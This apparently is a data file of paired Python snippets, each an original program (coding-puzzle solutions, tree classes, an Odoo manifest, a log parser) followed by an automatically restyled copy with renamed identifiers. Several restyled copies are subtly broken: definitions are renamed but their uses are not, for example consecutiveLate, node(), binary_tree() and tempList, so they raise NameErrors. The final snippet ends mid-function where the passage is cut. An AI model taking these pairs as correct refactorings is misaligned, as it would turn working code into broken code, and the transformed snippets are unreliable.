doc_body = '\n\nParameters\n----------\nvalue\n The literal or variable to check the attribute(s) of.\nname : str, optional\n Name of the variable to check the attributes(s) of.\n Defaults to None.\n\nReturns\n-------\nvalue\n The `value` passed in.\n\nAttributes\n----------\nattrs : tuple(str)\n The attribute(s) to check for.\n\nMethods\n-------\no(callable) : CompositionOf\n Daisy-chains the attribute checker to another `callable`,\n returning the functional composition of both.\n\nRaises\n------\nMissingAttrError\n If the variable or literal does not have (one of) the\n required attribute(s).\n\nSee also\n--------\nJust, CompositionOf' |
{
'name': 'Chapter 06, Recipe 9 code',
'summary': 'Traverse recordset relations',
'depends': ['base'],
}
| {'name': 'Chapter 06, Recipe 9 code', 'summary': 'Traverse recordset relations', 'depends': ['base']} |
def pcd_to_xyz(infile, outfile):
pcd = open(infile, 'r').read()
pcd = pcd.split('DATA ascii\n')[1].split('\n')
xyz = open(outfile, 'w')
for line in pcd:
coords = line.split(' ')[:3]
xyz.write(f'H {(" ").join(coords)}\n')
xyz.close() | def pcd_to_xyz(infile, outfile):
pcd = open(infile, 'r').read()
pcd = pcd.split('DATA ascii\n')[1].split('\n')
xyz = open(outfile, 'w')
for line in pcd:
coords = line.split(' ')[:3]
xyz.write(f"H {' '.join(coords)}\n")
xyz.close() |
DEFAULT_HOSTS = [
'dataverse.harvard.edu', # Harvard PRODUCTION server
'demo.dataverse.org', # Harvard DEMO server
'apitest.dataverse.org', # Dataverse TEST server
]
REQUEST_TIMEOUT = 15
| default_hosts = ['dataverse.harvard.edu', 'demo.dataverse.org', 'apitest.dataverse.org']
request_timeout = 15 |
#!/usr/bin/env python3
def count_me(void):
print('hello')
count_me()
| def count_me(void):
print('hello')
count_me() |
# To print all the unique elements in an array.
def uni_nums(n):
ans = []
for i in n:
if i not in ans:
ans.append(i)
return ans
n = list(map(int,input().split()))
print(uni_nums(n)) | def uni_nums(n):
ans = []
for i in n:
if i not in ans:
ans.append(i)
return ans
n = list(map(int, input().split()))
print(uni_nums(n)) |
def delegate(method_name, attribute):
def to_attribute(self, *args, **kwargs):
bound_method = getattr(getattr(self, attribute), method_name)
return bound_method(*args, **kwargs)
return to_attribute
| def delegate(method_name, attribute):
def to_attribute(self, *args, **kwargs):
bound_method = getattr(getattr(self, attribute), method_name)
return bound_method(*args, **kwargs)
return to_attribute |
class Tree:
'''
This is realization of a tree for exact project
'''
def __init__(self, data):
'''
obj, str -> None
This method initializes an object
'''
self.data = data
self._left = None
self._right = None
def set_left(self, value):
'''
obj, str -> None
This puts needed value on the left
'''
self._left = value
def get_left(self):
'''
obj, str -> None
This returns needed value on the left
'''
return self._left
left = property(fset=set_left, fget=get_left)
def set_right(self, value):
'''
obj, str -> None
This puts needed value on the right
'''
self._right = value
def get_right(self):
'''
obj, str -> None
This returns needed value on the right
'''
return self._right
def __repr__(self):
'''
obj -> str
This method represents object
'''
return f"{self.data}"
right = property(fset=set_right, fget=get_right)
def is_empty(self):
'''
obj -> bool
This method checks whether tree is empty
'''
return self._left is None and self._right is None | class Tree:
"""
This is realization of a tree for exact project
"""
def __init__(self, data):
"""
obj, str -> None
This method initializes an object
"""
self.data = data
self._left = None
self._right = None
def set_left(self, value):
"""
obj, str -> None
This puts needed value on the left
"""
self._left = value
def get_left(self):
"""
obj, str -> None
This returns needed value on the left
"""
return self._left
left = property(fset=set_left, fget=get_left)
def set_right(self, value):
"""
obj, str -> None
This puts needed value on the right
"""
self._right = value
def get_right(self):
"""
obj, str -> None
This returns needed value on the right
"""
return self._right
def __repr__(self):
"""
obj -> str
This method represents object
"""
return f'{self.data}'
right = property(fset=set_right, fget=get_right)
def is_empty(self):
"""
obj -> bool
This method checks whether tree is empty
"""
return self._left is None and self._right is None |
{
"targets": [
{
"target_name": "serialtty",
"sources": [ "src/serial.c", "src/serialtty.cc" ]
}
]
}
| {'targets': [{'target_name': 'serialtty', 'sources': ['src/serial.c', 'src/serialtty.cc']}]} |
#class Solution:
# def getMinDistance(self, nums: List[int], target: int, start: int) -> int:
def getMinDistance(nums, target, start):
if nums[start] == target:
return 0
for i in range(1, len(nums)):
try:
positive_index = min(start + i, len(nums) - 1)
if nums[positive_index] == target:
return i
except:
pass
try:
positive_index = max(start - i, 0)
if nums[positive_index] == target:
return i
except:
pass
def test(nums, target, start, expected):
sol = getMinDistance(nums, target, start)
if sol == expected :
print("Congrats!")
else:
print(f"sol = {sol}")
print(f"expected = {expected}")
print()
if __name__ == "__main__":
nums = [1,2,3,4,5]
target = 5
start = 3
expected = 1
test(nums, target, start, expected)
nums = [1]
target = 1
start = 0
expected = 0
test(nums, target, start, expected)
nums = [2202,9326,1034,4180,1932,8118,7365,7738,6220,3440]
target = 3440
start = 0
expected = 9
test(nums, target, start, expected)
| def get_min_distance(nums, target, start):
if nums[start] == target:
return 0
for i in range(1, len(nums)):
try:
positive_index = min(start + i, len(nums) - 1)
if nums[positive_index] == target:
return i
except:
pass
try:
positive_index = max(start - i, 0)
if nums[positive_index] == target:
return i
except:
pass
def test(nums, target, start, expected):
sol = get_min_distance(nums, target, start)
if sol == expected:
print('Congrats!')
else:
print(f'sol = {sol}')
print(f'expected = {expected}')
print()
if __name__ == '__main__':
nums = [1, 2, 3, 4, 5]
target = 5
start = 3
expected = 1
test(nums, target, start, expected)
nums = [1]
target = 1
start = 0
expected = 0
test(nums, target, start, expected)
nums = [2202, 9326, 1034, 4180, 1932, 8118, 7365, 7738, 6220, 3440]
target = 3440
start = 0
expected = 9
test(nums, target, start, expected) |
class Solution:
def checkRecord(self, s: str) -> bool:
consecutiveLate, absent = 0, 0
for character in s:
if character == 'L':
consecutiveLate += 1
else:
if character == 'A': absent += 1
consecutiveLate = 0
if consecutiveLate >= 3 or absent >= 2: return False
return True
| class Solution:
def check_record(self, s: str) -> bool:
(consecutive_late, absent) = (0, 0)
for character in s:
if character == 'L':
consecutive_late += 1
else:
if character == 'A':
absent += 1
consecutive_late = 0
if consecutiveLate >= 3 or absent >= 2:
return False
return True |
# Create Node class containing
# data
# left pointer
# right pointer
class Node:
def __init__(self, value):
self.value = value
self.right = None
self.left = None
class BinaryTree:
def __init__(self):
self.root = None
def insert(self, value):
if not self.root:
self.root = Node(value)
return
q = []
q.append(self.root)
while len(q):
temp = q[0]
q.pop(0)
if not temp.left:
temp.left = Node(value)
break
else:
q.append(temp.left)
if not temp.right:
temp.right = Node(value)
break
else:
q.append(temp.right)
def print_order(self, temp, order):
if temp is None:
return
if order == "pre":
print(f"{temp.value}", end=" ")
self.print_order(temp.left, order)
if order == "in":
print(f"{temp.value}", end=" ")
self.print_order(temp.right, order)
if order == "post":
print(f"{temp.value}", end=" ")
def traverse_by_stack(self, root):
current = root
stack = []
while True:
if current:
stack.append(current)
current = current.left
elif stack:
current = stack.pop()
print(current.value, end=" ")
current = current.right
else:
break
print()
def showTree(self, msg, type=None):
print(msg)
if type is None:
print("not implemented yet")
elif type == "stack":
self.traverse_by_stack(self.root)
else:
self.print_order(self.root, type)
print()
def popDeep(self, lastNode):
q = []
q.append(self.root)
while len(q):
temp = q[0]
q.pop(0)
if temp == lastNode:
temp = None
return
if temp.left == lastNode:
temp.left = None
return
else:
q.append(temp.left)
if temp.right == lastNode:
temp.right = None
return
else:
q.append(temp.right)
def delete(self, value):
if not self.root:
return
if not self.root.left and not self.root.right:
if self.root == value:
self.root = None
return
q = []
q.append(self.root)
d = None
while len(q):
temp = q[0]
q.pop(0)
if temp.value == value:
d = temp
if temp.left:
q.append(temp.left)
if temp.right:
q.append(temp.right)
if d:
x = temp.value
self.popDeep(temp)
d.value = x
if __name__ == "__main__":
bt = BinaryTree()
bt.insert(10)
bt.insert(11)
bt.insert(9)
bt.insert(7)
bt.insert(12)
bt.insert(15)
bt.insert(8)
bt.showTree("before", "in")
bt.delete(8)
bt.showTree("after", "in")
print("with orders")
bt.showTree("Preorder", "pre")
bt.showTree("Inorder", "in")
bt.showTree("stack", "stack")
bt.showTree("Postorder", "post")
| class Node:
def __init__(self, value):
self.value = value
self.right = None
self.left = None
class Binarytree:
def __init__(self):
self.root = None
def insert(self, value):
if not self.root:
self.root = node(value)
return
q = []
q.append(self.root)
while len(q):
temp = q[0]
q.pop(0)
if not temp.left:
temp.left = node(value)
break
else:
q.append(temp.left)
if not temp.right:
temp.right = node(value)
break
else:
q.append(temp.right)
def print_order(self, temp, order):
if temp is None:
return
if order == 'pre':
print(f'{temp.value}', end=' ')
self.print_order(temp.left, order)
if order == 'in':
print(f'{temp.value}', end=' ')
self.print_order(temp.right, order)
if order == 'post':
print(f'{temp.value}', end=' ')
def traverse_by_stack(self, root):
current = root
stack = []
while True:
if current:
stack.append(current)
current = current.left
elif stack:
current = stack.pop()
print(current.value, end=' ')
current = current.right
else:
break
print()
def show_tree(self, msg, type=None):
print(msg)
if type is None:
print('not implemented yet')
elif type == 'stack':
self.traverse_by_stack(self.root)
else:
self.print_order(self.root, type)
print()
def pop_deep(self, lastNode):
q = []
q.append(self.root)
while len(q):
temp = q[0]
q.pop(0)
if temp == lastNode:
temp = None
return
if temp.left == lastNode:
temp.left = None
return
else:
q.append(temp.left)
if temp.right == lastNode:
temp.right = None
return
else:
q.append(temp.right)
def delete(self, value):
if not self.root:
return
if not self.root.left and (not self.root.right):
if self.root == value:
self.root = None
return
q = []
q.append(self.root)
d = None
while len(q):
temp = q[0]
q.pop(0)
if temp.value == value:
d = temp
if temp.left:
q.append(temp.left)
if temp.right:
q.append(temp.right)
if d:
x = temp.value
self.popDeep(temp)
d.value = x
if __name__ == '__main__':
bt = binary_tree()
bt.insert(10)
bt.insert(11)
bt.insert(9)
bt.insert(7)
bt.insert(12)
bt.insert(15)
bt.insert(8)
bt.showTree('before', 'in')
bt.delete(8)
bt.showTree('after', 'in')
print('with orders')
bt.showTree('Preorder', 'pre')
bt.showTree('Inorder', 'in')
bt.showTree('stack', 'stack')
bt.showTree('Postorder', 'post') |
def dev_only(func, *args, **kwargs):
def inner(*args, **kwargs):
request = kwargs.get("request", args[0])
# Check host
host = request.get_host()
if env_from_host(host) != "DEV":
raise Http404
else:
return func(*args, **kwargs)
return inner
def non_production(func, *args, **kwargs):
def inner(*args, **kwargs):
request = kwargs.get("request", args[0])
# Check host
host = request.get_host()
if env_from_host(host) not in ["DEV", "BETA"]:
raise Http404
else:
return func(*args, **kwargs)
return inner
def prod_only(func, *args, **kwargs):
def inner(*args, **kwargs):
request = kwargs.get("request", args[0])
# Check host
host = request.get_host()
if env_from_host(host) != "PROD":
raise Http404
else:
return func(*args, **kwargs)
return inner
| def dev_only(func, *args, **kwargs):
def inner(*args, **kwargs):
request = kwargs.get('request', args[0])
host = request.get_host()
if env_from_host(host) != 'DEV':
raise Http404
else:
return func(*args, **kwargs)
return inner
def non_production(func, *args, **kwargs):
def inner(*args, **kwargs):
request = kwargs.get('request', args[0])
host = request.get_host()
if env_from_host(host) not in ['DEV', 'BETA']:
raise Http404
else:
return func(*args, **kwargs)
return inner
def prod_only(func, *args, **kwargs):
def inner(*args, **kwargs):
request = kwargs.get('request', args[0])
host = request.get_host()
if env_from_host(host) != 'PROD':
raise Http404
else:
return func(*args, **kwargs)
return inner |
#UTF-8
def objects_data(map_number, mode, save_meta1):
if mode == 'stoper':
adres = 'data/stoper_old/stoper' + str(map_number[0]) + '_' + str(map_number[1]) + '.frls'
try: file = open(adres)
except FileNotFoundError:
return ['']
else:
file = open(adres, 'rb')
stop_cords = save_meta1.decrypt(file.read()).decode('utf8').strip().split('+')
return stop_cords
elif mode == 'objects':
adres = 'data/objects_old/objects' + str(map_number[0]) + '_' + str(map_number[1]) + '.frls'
try: file = open(adres)
except FileNotFoundError:
return [['']]
else:
file = open(adres, 'rb')
objects = []
temp1 = save_meta1.decrypt(file.read()).decode('utf8').strip().split('+')
for temp2 in temp1:
objects.append(temp2.split('_'))
return objects
def stoper(x_object, y_object, side, stop_cords=False):
if stop_cords != False and stop_cords != ['']:
stop = True
if side == 0:
for i in stop_cords:
if i == '': continue
temp = i.split('_')
x1 = int(temp[0])
y1 = int(temp[1])
x2 = int(temp[2])
y2 = int(temp[3])
if x_object + 50 >= x1 and x_object + 10 <= x2 and y_object + 59 >= y1 and y_object + 33 <= y2:
stop = False
if side == 1:
for i in stop_cords:
if i == '': continue
temp = i.split('_')
x1 = int(temp[0])
y1 = int(temp[1])
x2 = int(temp[2])
y2 = int(temp[3])
if x_object + 50 >= x1 and x_object + 10 <= x2 and y_object + 50 >= y1 and y_object + 30 <= y2:
stop = False
if side == 2:
for i in stop_cords:
if i == '': continue
temp = i.split('_')
x1 = int(temp[0])
y1 = int(temp[1])
x2 = int(temp[2])
y2 = int(temp[3])
if x_object + 53 >= x1 and x_object + 10 <= x2 and y_object + 50 >= y1 and y_object + 33 <= y2:
stop = False
if side == 3:
for i in stop_cords:
if i == '': continue
temp = i.split('_')
x1 = int(temp[0])
y1 = int(temp[1])
x2 = int(temp[2])
y2 = int(temp[3])
if x_object + 50 >= x1 and x_object + 7 <= x2 and y_object + 50 >= y1 and y_object + 33 <= y2:
stop = False
return stop
else: return True
| def objects_data(map_number, mode, save_meta1):
if mode == 'stoper':
adres = 'data/stoper_old/stoper' + str(map_number[0]) + '_' + str(map_number[1]) + '.frls'
try:
file = open(adres)
except FileNotFoundError:
return ['']
else:
file = open(adres, 'rb')
stop_cords = save_meta1.decrypt(file.read()).decode('utf8').strip().split('+')
return stop_cords
elif mode == 'objects':
adres = 'data/objects_old/objects' + str(map_number[0]) + '_' + str(map_number[1]) + '.frls'
try:
file = open(adres)
except FileNotFoundError:
return [['']]
else:
file = open(adres, 'rb')
objects = []
temp1 = save_meta1.decrypt(file.read()).decode('utf8').strip().split('+')
for temp2 in temp1:
objects.append(temp2.split('_'))
return objects
def stoper(x_object, y_object, side, stop_cords=False):
if stop_cords != False and stop_cords != ['']:
stop = True
if side == 0:
for i in stop_cords:
if i == '':
continue
temp = i.split('_')
x1 = int(temp[0])
y1 = int(temp[1])
x2 = int(temp[2])
y2 = int(temp[3])
if x_object + 50 >= x1 and x_object + 10 <= x2 and (y_object + 59 >= y1) and (y_object + 33 <= y2):
stop = False
if side == 1:
for i in stop_cords:
if i == '':
continue
temp = i.split('_')
x1 = int(temp[0])
y1 = int(temp[1])
x2 = int(temp[2])
y2 = int(temp[3])
if x_object + 50 >= x1 and x_object + 10 <= x2 and (y_object + 50 >= y1) and (y_object + 30 <= y2):
stop = False
if side == 2:
for i in stop_cords:
if i == '':
continue
temp = i.split('_')
x1 = int(temp[0])
y1 = int(temp[1])
x2 = int(temp[2])
y2 = int(temp[3])
if x_object + 53 >= x1 and x_object + 10 <= x2 and (y_object + 50 >= y1) and (y_object + 33 <= y2):
stop = False
if side == 3:
for i in stop_cords:
if i == '':
continue
temp = i.split('_')
x1 = int(temp[0])
y1 = int(temp[1])
x2 = int(temp[2])
y2 = int(temp[3])
if x_object + 50 >= x1 and x_object + 7 <= x2 and (y_object + 50 >= y1) and (y_object + 33 <= y2):
stop = False
return stop
else:
return True |
# -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.
{
'name': 'CRM',
'version': '1.0',
'category': 'Sales',
'sequence': 5,
'summary': 'Track leads and close opportunities',
'description': "",
'website': 'https://www.odoo.com/page/crm',
'depends': [
'base_setup',
'sales_team',
'mail',
'calendar',
'resource',
'fetchmail',
'utm',
'web_tour',
'contacts',
'digest',
],
'data': [
'security/crm_security.xml',
'security/ir.model.access.csv',
'data/crm_data.xml',
'data/crm_stage_data.xml',
'data/crm_lead_data.xml',
'data/digest_data.xml',
'wizard/crm_lead_lost_views.xml',
'wizard/crm_lead_to_opportunity_views.xml',
'wizard/crm_merge_opportunities_views.xml',
'views/crm_templates.xml',
'views/res_config_settings_views.xml',
'views/crm_views.xml',
'views/crm_stage_views.xml',
'views/crm_lead_views.xml',
'views/calendar_views.xml',
'views/res_partner_views.xml',
'report/crm_activity_report_views.xml',
'report/crm_opportunity_report_views.xml',
'views/crm_team_views.xml',
'views/digest_views.xml',
],
'demo': [
'data/crm_demo.xml',
'data/mail_activity_demo.xml',
'data/crm_lead_demo.xml',
],
'css': ['static/src/css/crm.css'],
'installable': True,
'application': True,
'auto_install': False,
'uninstall_hook': 'uninstall_hook',
}
| {'name': 'CRM', 'version': '1.0', 'category': 'Sales', 'sequence': 5, 'summary': 'Track leads and close opportunities', 'description': '', 'website': 'https://www.odoo.com/page/crm', 'depends': ['base_setup', 'sales_team', 'mail', 'calendar', 'resource', 'fetchmail', 'utm', 'web_tour', 'contacts', 'digest'], 'data': ['security/crm_security.xml', 'security/ir.model.access.csv', 'data/crm_data.xml', 'data/crm_stage_data.xml', 'data/crm_lead_data.xml', 'data/digest_data.xml', 'wizard/crm_lead_lost_views.xml', 'wizard/crm_lead_to_opportunity_views.xml', 'wizard/crm_merge_opportunities_views.xml', 'views/crm_templates.xml', 'views/res_config_settings_views.xml', 'views/crm_views.xml', 'views/crm_stage_views.xml', 'views/crm_lead_views.xml', 'views/calendar_views.xml', 'views/res_partner_views.xml', 'report/crm_activity_report_views.xml', 'report/crm_opportunity_report_views.xml', 'views/crm_team_views.xml', 'views/digest_views.xml'], 'demo': ['data/crm_demo.xml', 'data/mail_activity_demo.xml', 'data/crm_lead_demo.xml'], 'css': ['static/src/css/crm.css'], 'installable': True, 'application': True, 'auto_install': False, 'uninstall_hook': 'uninstall_hook'} |
def count_substring(string, sub_string):
# if list(sub_string) not in list(string):
# return 0
count = 0
for i in range(len(string)):
if string[i:].startswith(sub_string):
count += 1
return count
if __name__ == '__main__':
string = input().strip()
sub_string = input().strip()
count = count_substring(string, sub_string)
print(count) | def count_substring(string, sub_string):
count = 0
for i in range(len(string)):
if string[i:].startswith(sub_string):
count += 1
return count
if __name__ == '__main__':
string = input().strip()
sub_string = input().strip()
count = count_substring(string, sub_string)
print(count) |
# Author : thepmsquare
# Question Link : https://leetcode.com/problems/reverse-integer/
class Solution:
def reverse(self, x: int) -> int:
answer = list()
if(x<0):
answer.append("-")
x=x*-1
tempList = list(str(x))
tempList.reverse()
answer.extend(tempList)
returnThis = int("".join(answer))
if returnThis < pow(-2,31) or returnThis > (pow(2,31)-1):
return 0
else:
return returnThis | class Solution:
def reverse(self, x: int) -> int:
answer = list()
if x < 0:
answer.append('-')
x = x * -1
temp_list = list(str(x))
tempList.reverse()
answer.extend(tempList)
return_this = int(''.join(answer))
if returnThis < pow(-2, 31) or returnThis > pow(2, 31) - 1:
return 0
else:
return returnThis |
def in_array(array1, array2):
new = set()
for sub in array1:
for sup in array2:
if sub in sup:
new.add(sub)
return sorted(list(new)) | def in_array(array1, array2):
new = set()
for sub in array1:
for sup in array2:
if sub in sup:
new.add(sub)
return sorted(list(new)) |
class Solution:
def maxConsecutiveAnswers(self, answerKey: str, k: int) -> int:
return max(self.maxConsecutiveChar(answerKey, 'T', k), self.maxConsecutiveChar(answerKey, 'F', k))
def maxConsecutiveChar(self, answerKey, ch, k):
ch_sum, left, result = 0, 0, 0
for i in range(len(answerKey)):
ch_sum += answerKey[i] != ch
while ch_sum > k:
ch_sum -= answerKey[left] != ch
left += 1
result = max(result, i - left + 1)
return result
s = Solution()
print(s.maxConsecutiveAnswers(answerKey="TTFF", k=2))
| class Solution:
def max_consecutive_answers(self, answerKey: str, k: int) -> int:
return max(self.maxConsecutiveChar(answerKey, 'T', k), self.maxConsecutiveChar(answerKey, 'F', k))
def max_consecutive_char(self, answerKey, ch, k):
(ch_sum, left, result) = (0, 0, 0)
for i in range(len(answerKey)):
ch_sum += answerKey[i] != ch
while ch_sum > k:
ch_sum -= answerKey[left] != ch
left += 1
result = max(result, i - left + 1)
return result
s = solution()
print(s.maxConsecutiveAnswers(answerKey='TTFF', k=2)) |
setup(name='hashcode_template',
version='0.1',
description='Template library for the HashCode challenge',
author='Nikos Koukis',
author_email='nickkouk@gmail.com',
license='MIT',
install_requires=(
"sh",
"numpy",
"scipy",
"matplotlib",
"pygal",
),
url='https://github.org/bergercookie/googlehash_template',
packages=['googlehash_template', ],
)
| setup(name='hashcode_template', version='0.1', description='Template library for the HashCode challenge', author='Nikos Koukis', author_email='nickkouk@gmail.com', license='MIT', install_requires=('sh', 'numpy', 'scipy', 'matplotlib', 'pygal'), url='https://github.org/bergercookie/googlehash_template', packages=['googlehash_template']) |
#!/usr/bin/python
class FilterModule(object):
def filters(self):
return {
'wrap': self.wrap
}
def wrap(self, list):
return [ "'" + x + "'" for x in list] | class Filtermodule(object):
def filters(self):
return {'wrap': self.wrap}
def wrap(self, list):
return ["'" + x + "'" for x in list] |
# Python Program To Create A Binary File And Store A Few Records
'''
Function Name : Create A Binary File And Store A Few Records
Function Date : 25 Sep 2020
Function Author : Prasad Dangare
Input : String,Integer
Output : String
'''
reclen = 20
# Open The File In wb Mode As Binary File
with open("cities.bin", "wb") as f:
# Write Data Into The File
n = int(input("How Many Entries ? "))
for i in range(n):
city = input('Enter City Names : ')
# Find The Length Of City
ln = len(city)
# Increase The City Name To 20 Chars
# By Adding Remaining Spaces
city = city + (reclen-ln)*' '
# Convert City Name Into Bytes String
city = city.encode()
# Write The City Name Into The File
f.write(city)
| """
Function Name : Create A Binary File And Store A Few Records
Function Date : 25 Sep 2020
Function Author : Prasad Dangare
Input : String,Integer
Output : String
"""
reclen = 20
with open('cities.bin', 'wb') as f:
n = int(input('How Many Entries ? '))
for i in range(n):
city = input('Enter City Names : ')
ln = len(city)
city = city + (reclen - ln) * ' '
city = city.encode()
f.write(city) |
pedidos = []
def adiciona_pedido(nome, sabor, observacao=None):
pedido = {}
pedido['nome'] = nome
pedido['sabor'] = sabor
pedido['observacao'] = observacao
return pedido
pedidos.append(adiciona_pedido('Mario', 'Portuguesa'))
pedidos.append(adiciona_pedido('Marcos', 'Peperoni', 'Dobro de peperoni'))
for pedido in pedidos:
template = 'Nome: {nome}\nSabor: {sabor}'
print(template.format(**pedido))
if pedido['observacao']:
print('Observacao: {}'.format(pedido['observacao']))
print('-'*75)
| pedidos = []
def adiciona_pedido(nome, sabor, observacao=None):
pedido = {}
pedido['nome'] = nome
pedido['sabor'] = sabor
pedido['observacao'] = observacao
return pedido
pedidos.append(adiciona_pedido('Mario', 'Portuguesa'))
pedidos.append(adiciona_pedido('Marcos', 'Peperoni', 'Dobro de peperoni'))
for pedido in pedidos:
template = 'Nome: {nome}\nSabor: {sabor}'
print(template.format(**pedido))
if pedido['observacao']:
print('Observacao: {}'.format(pedido['observacao']))
print('-' * 75) |
class Coin(object):
def __init__(self, json):
self.id = json["id"]
self.name = json["name"]
self.symbol = json["symbol"]
self.price_usd = json["price_usd"]
self.price_eur = json["price_eur"]
self.percent_change_1h = json["percent_change_1h"]
self.percent_change_24h = json["percent_change_24h"]
self.percent_change_7d = json["percent_change_7d"]
self.last_updated = json["last_updated"]
def __str__(self):
return '%s(%s)' % (type(self).__name__, ', '.join('%s=%s' % item for item in vars(self).items()))
| class Coin(object):
def __init__(self, json):
self.id = json['id']
self.name = json['name']
self.symbol = json['symbol']
self.price_usd = json['price_usd']
self.price_eur = json['price_eur']
self.percent_change_1h = json['percent_change_1h']
self.percent_change_24h = json['percent_change_24h']
self.percent_change_7d = json['percent_change_7d']
self.last_updated = json['last_updated']
def __str__(self):
return '%s(%s)' % (type(self).__name__, ', '.join(('%s=%s' % item for item in vars(self).items()))) |
# Input:
prevA = 116
prevB = 299
factorA = 16807
factorB = 48271
divisor = 2147483647
judge = 0
for _ in range(40000000):
A = (prevA*factorA)%divisor
B = (prevB*factorB)%divisor
prevA = A
prevB = B
binA = bin(A).split("b")[-1][-16:]
binB = bin(B).split("b")[-1][-16:]
binA = '0'*(16-len(binA))+binA
binB = '0'*(16-len(binB))+binB
if binA == binB:
judge += 1
print(judge)
| prev_a = 116
prev_b = 299
factor_a = 16807
factor_b = 48271
divisor = 2147483647
judge = 0
for _ in range(40000000):
a = prevA * factorA % divisor
b = prevB * factorB % divisor
prev_a = A
prev_b = B
bin_a = bin(A).split('b')[-1][-16:]
bin_b = bin(B).split('b')[-1][-16:]
bin_a = '0' * (16 - len(binA)) + binA
bin_b = '0' * (16 - len(binB)) + binB
if binA == binB:
judge += 1
print(judge) |
#==============================================================================
# Copyright 2019 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# =============================================================================
def parse_logs(log_lines):
if type(log_lines) == type(''):
log_lines = log_lines.split('\n')
else:
assert type(log_lines) == type(
[]
), "If log_lines if not a string, it should have been a list, but instead it is a " + type(
log_lines)
assert all([
type(i) == type('') and '\n' not in i for i in log_lines
]), 'Each element of the list should be a string and not contain new lines'
all_results = {}
curr_result = {}
ctr = 0
for line in log_lines:
start_of_subgraph = "NGTF_SUMMARY: Op_not_supported:" in line
# If logs of a new sub-graph is starting, save the old one
if start_of_subgraph:
if len(curr_result) > 0:
all_results[str(ctr)] = curr_result
curr_result = {}
ctr += 1
# keep collecting information in curr_result
if line.startswith('NGTF_SUMMARY'):
if 'Number of nodes in the graph' in line:
curr_result['num_nodes_in_graph'] = int(
line.split(':')[-1].strip())
elif 'Number of nodes marked for clustering' in line:
curr_result['num_nodes_marked_for_clustering'] = int(
line.split(':')[-1].strip().split(' ')[0].strip())
elif 'Number of ngraph clusters' in line:
curr_result['num_ng_clusters'] = int(
line.split(':')[-1].strip())
# TODO: fill other information as needed
# add the last subgraph to all_results
all_results[str(ctr)] = curr_result
return all_results
def compare_parsed_values(parsed_vals, expected_vals):
# Both inputs are expected to be 2 dictionaries (representing jsons)
# The constraints in expected is <= parsed_vals. Parsed_vals should have all possible values that the parser can spit out. However expected_vals can be relaxed (even empty) and choose to only verify/match certain fields
match = lambda current, expected: all(
[expected[k] == current[k] for k in expected])
for graph_id_1 in expected_vals:
# The ordering is not important and could be different, hence search through all elements of parsed_vals
matching_id = None
for graph_id_2 in parsed_vals:
if match(expected_vals[graph_id_1], parsed_vals[graph_id_2]):
matching_id = graph_id_2
break
if matching_id is None:
return False, 'Failed to match expected graph info ' + graph_id_1 + " which was: " + str(
expected_vals[graph_id_1]
) + "\n. Got the following parsed results: " + str(parsed_vals)
else:
parsed_vals.pop(matching_id)
return True, ''
| def parse_logs(log_lines):
if type(log_lines) == type(''):
log_lines = log_lines.split('\n')
else:
assert type(log_lines) == type([]), 'If log_lines if not a string, it should have been a list, but instead it is a ' + type(log_lines)
assert all([type(i) == type('') and '\n' not in i for i in log_lines]), 'Each element of the list should be a string and not contain new lines'
all_results = {}
curr_result = {}
ctr = 0
for line in log_lines:
start_of_subgraph = 'NGTF_SUMMARY: Op_not_supported:' in line
if start_of_subgraph:
if len(curr_result) > 0:
all_results[str(ctr)] = curr_result
curr_result = {}
ctr += 1
if line.startswith('NGTF_SUMMARY'):
if 'Number of nodes in the graph' in line:
curr_result['num_nodes_in_graph'] = int(line.split(':')[-1].strip())
elif 'Number of nodes marked for clustering' in line:
curr_result['num_nodes_marked_for_clustering'] = int(line.split(':')[-1].strip().split(' ')[0].strip())
elif 'Number of ngraph clusters' in line:
curr_result['num_ng_clusters'] = int(line.split(':')[-1].strip())
all_results[str(ctr)] = curr_result
return all_results
def compare_parsed_values(parsed_vals, expected_vals):
match = lambda current, expected: all([expected[k] == current[k] for k in expected])
for graph_id_1 in expected_vals:
matching_id = None
for graph_id_2 in parsed_vals:
if match(expected_vals[graph_id_1], parsed_vals[graph_id_2]):
matching_id = graph_id_2
break
if matching_id is None:
return (False, 'Failed to match expected graph info ' + graph_id_1 + ' which was: ' + str(expected_vals[graph_id_1]) + '\n. Got the following parsed results: ' + str(parsed_vals))
else:
parsed_vals.pop(matching_id)
return (True, '') |
class DepotPolicy:
def __init__(self, depot):
self.depot = depot
def next_locations(self, cur_ts, cur_locations, already_spent_costs):
pass
| class Depotpolicy:
def __init__(self, depot):
self.depot = depot
def next_locations(self, cur_ts, cur_locations, already_spent_costs):
pass |
sum_of_lines = 0
sum_of_lines2 = 0
def calculate(expr):
result = 0
if expr.count("(") == 0:
expr = expr.split()
n = len(expr)
i = 0
while i < (n-2):
expr[i] = int(expr[i])
expr[i+2] = int(expr[i+2])
if expr[i+1] == "+":
expr[i+2] += expr[i]
elif expr[i+1] == "*":
expr[i+2] *= expr[i]
i += 2
return expr[n-1]
while expr.count(")") > 0:
expr = expr.split("(")
for i, e in enumerate(expr):
if e.count(")") > 0:
loc = e.index(")")
partial = calculate(e[:loc])
if loc == len(e) - 1:
expr[i] = str(partial)
else:
expr[i] = str(partial) + e[loc+1:]
break
new = expr[0]
for j, a in enumerate(expr[1:]):
if j + 1 == i:
new += a
else:
new += "(" + a
expr = new
expr = expr.replace("(", "")
return calculate(expr)
def calculate_add(expr):
result = 0
if expr.count("(") == 0:
#1st calulate all +
expr = expr.split()
for i, a in enumerate(expr):
if i % 2 == 0:
expr[i] = int(a)
new = []
n = len(expr)
i = 0
while i < (n-2):
if expr[i+1] == "+":
expr[i+2] += expr[i]
elif expr[i+1] == "*":
new.append(expr[i])
new.append("*")
i += 2
new.append(expr[n-1])
#2nd calculate *
n = len(new)
i = 0
while i < (n-2):
new[i+2] *= new[i]
i += 2
return new[n-1]
while expr.count(")") > 0:
expr = expr.split("(")
for i, e in enumerate(expr):
if e.count(")") > 0:
loc = e.index(")")
partial = calculate_add(e[:loc])
if loc == len(e) - 1:
expr[i] = str(partial)
else:
expr[i] = str(partial) + e[loc+1:]
break
new = expr[0]
for j, a in enumerate(expr[1:]):
if j + 1 == i:
new += a
else:
new += "(" + a
expr = new
